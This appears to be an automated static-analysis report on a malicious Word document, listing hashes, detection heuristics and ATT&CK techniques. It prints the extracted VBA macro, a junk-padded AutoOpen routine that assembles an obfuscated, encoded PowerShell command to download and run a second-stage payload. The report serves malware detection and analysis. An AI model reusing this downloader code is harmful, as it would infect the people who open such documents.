Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a7a552bb529666e…

MALICIOUS

Office (OLE)

88.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 7725ad9496a92c291f388b92f826ba1c SHA-1: 368c781218a392df70db60e5c2479bfb4ebf964e SHA-256: 6a7a552bb529666eb81f6780792c0fad2d6775dbed58d45d4ae41fe9740273f1
242 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening a document. The macro utilizes the Shell() function to execute a PowerShell command. This command appears to be heavily obfuscated, but its intent is to download and execute a second-stage payload. The presence of the AutoOpen macro and the Shell() call strongly suggests a malicious document designed to deliver further malware.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6736112-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6736112-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9373 bytes
SHA-256: 1f7805bd3cfa4cb723986dbbec1adac0141010f8e62e4c23318e3c55d97d22ff
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const CElaDewExyJiiYTuhaDIfOaROGoSuLIVumUKoZUQa = 0
Sub AutoOpen()
On Error Resume Next
Dim tyOaYaoDymUCFeWumaGeiyDASogISObYKYj

tyOaYaoDymUCFeWumaGeiyDASogISObYKYj = IsNull(Choose(4, "reBYkuRBoMAh", "tyOaYaoDymUCFeWumaGeiyDASogISObYKYj", "reBYkuRBoMAhtyOaYaoDymUCFeWumaGeiyDASogISObYKYj"))
IsError CVErr(5373)

If 5373 > LenB(CStr(13 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(reBYkuRBoMAh))))
End If
Dim VExeWoqiCoCEbicAfynzDEKALbIQyFuqUkeVaD

VExeWoqiCoCEbicAfynzDEKALbIQyFuqUkeVaD = IsNull(Choose(5, "piHeRobUlAWYK", "VExeWoqiCoCEbicAfynzDEKALbIQyFuqUkeVaD", "piHeRobUlAWYKVExeWoqiCoCEbicAfynzDEKALbIQyFuqUkeVaD"))
IsError CVErr(5205)

If 5205 > LenB(CStr(13 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(piHeRobUlAWYK))))
End If
KeQUjimuPYhETOqEuwAaenYsowiFyvUBIXOtvivb = "" + Format(ChrW(99)) + "md.exe /" + Format(ChrW(99)) + " P^O^W^e^r^s^" + Format(ChrW(2 + (35 * 2))) + "^e^l^L^.^E^X^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW(99)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^Q^A^" + Format(ChrW(99)) + "^A^A^6^A^C^8^A^L^w^B^m^A^" + Format(ChrW(2 + (35 * 2))) + "^I^A^d^Q^B^t^A^G^k^A^d^A^B^p^A^G^M^A^d^Q^B^y^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW(99)) + "^A^B^o^A^" + Format(ChrW(2 + (35 * 2))) + "^A"

Dim SUFalIfyioRuwozoLuQcYLIdnOCMeZyfol

SUFalIfyioRuwozoLuQcYLIdnOCMeZyfol = IsNull(Choose(9, "LUlaBoaigOTYw", "SUFalIfyioRuwozoLuQcYLIdnOCMeZyfol", "LUlaBoaigOTYwSUFalIfyioRuwozoLuQcYLIdnOCMeZyfol"))
IsError CVErr(5594)

If 5594 > LenB(CStr(11 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(LUlaBoaigOTYw))))
End If
diiYBYhOQyTeWOSaMOnOHiV = "^A^P^w^B^s^A^D^0^A^Z^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^" + Format(ChrW(99)) + "^A^a^w^A^z^A^C^4^A^e^A^B^h^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW(99)) + "^A^D^k^A^Z^g^B^h^A^D^g^A^Y^Q^A^w^A^D^M^A^Z^g^A^u^A^G^U^A^e^A^B^l^A^C^" + Format(ChrW(99)) + "^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^" + Format(ChrW(99)) + "^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^" + Format(ChrW(99)) + "^w^A^g^A^C^Q^A^Z^Q^B^u^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^" + Format(ChrW(99)) + "^A^X^A^A^5^A^G^Y^A^Y^Q^A^4^A^G^E^A^M^A^A^z^A^G^Y^A^L^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^g^A^Z^Q^A^n^A^D^s^A^I^A^A^g^A^E"
Dim fijaCeSArOLYZenOrwaRaXteriDYrEfivum

fijaCeSArOLYZenOrwaRaXteriDYrEfivum = IsNull(Choose(5, "RyxERahIFANoNbIVUFAvYG", "fijaCeSArOLYZenOrwaRaXteriDYrEfivum", "RyxERahIFANoNbIVUFAvYGfijaCeSArOLYZenOrwaRaXteriDYrEfivum"))
IsError CVErr(8831)

If 8831 > LenB(CStr(13 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(RyxERahIFANoNbIVUFAvYG))))
End If
Dim RqemeGAfivOVEMicUviWUkubaoK

RqemeGAfivOVEMicUviWUkubaoK = IsNull(Choose(5, "vuKHUNiQIViFih", "RqemeGAfivOVEMicUviWUkubaoK", "vuKHUNiQIViFihRqemeGAfivOVEMicUviWUkubaoK"))
IsError CVErr(6485)

If 6485 > LenB(CStr(11 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(vuKHUNiQIViFih))))
End If

Dim XIpISIGOxareDapEBEsvYgeWYTARYVyWuw

XIpISIGOxareDapEBEsvYgeWYTARYVyWuw = IsNull(Choose(5, "kYvOMUVuXeSoPihAaIhuiuay", "XIpISIGOxareDapEBEsvYgeWYTARYVyWuw", "kYvOMUVuXeSoPihAaIhuiuayXIpISIGOxareDapEBEsvYgeWYTARYVyWuw"))
IsError CVErr(7291)

If 7291 > LenB(CStr(10 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(kYvOMUVuXeSoPihAaIhuiuay))))
End If

kePanAaxyDYqihymUMeFAtipIPYxOFoLaRIrIqYXU = "^k^A^R^Q^B^Y^A^C^g^A^K^A^B^O^A^G^U^A^d^w^A^t^
... (truncated)

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